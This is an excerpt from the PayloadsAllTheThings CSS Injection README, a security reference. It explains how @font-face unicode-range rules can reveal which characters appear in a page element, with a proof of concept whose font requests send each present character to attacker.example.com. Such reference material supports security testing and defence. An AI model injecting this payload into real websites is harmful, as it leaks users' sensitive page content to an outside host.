> The @font-face CSS at-rule specifies a custom font with which to display text; the font can be loaded from either a remote server or a locally-installed font on the user's own computer. - Mozilla The `unicode-range` property allows specific fonts to be used for specific characters. We can abuse this to detect if a specific character is present on the page. If the character "A" is present, the browser attempts to load the font from `/?A`. If "C" is not present, that request is never made.
<style>
@font-face{ font-family:poc; src: url(http://attacker.example.com/?A); /* fetched */ unicode-range:U+0041; }
@font-face{ font-family:poc; src: url(http://attacker.example.com/?B); /* fetched too */ unicode-range:U+0042; }
@font-face{ font-family:poc; src: url(http://attacker.example.com/?C); /* not fetched */ unicode-range:U+0043; }
#sensitive-information{ font-family:poc; }
</style>
<p id="sensitive-information">AB</p>**Limitations:** * It cannot distinguish repeated characters (e.g., "AA" triggers the request once). * It does not determine the order of characters. * Despite these limitations, it is a very reliable oracle for checking character existence. * Chrome checked this as "WontFix": [issues/40083029](https://issues.chromium.org/issues/40083029)
Source: CSS Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.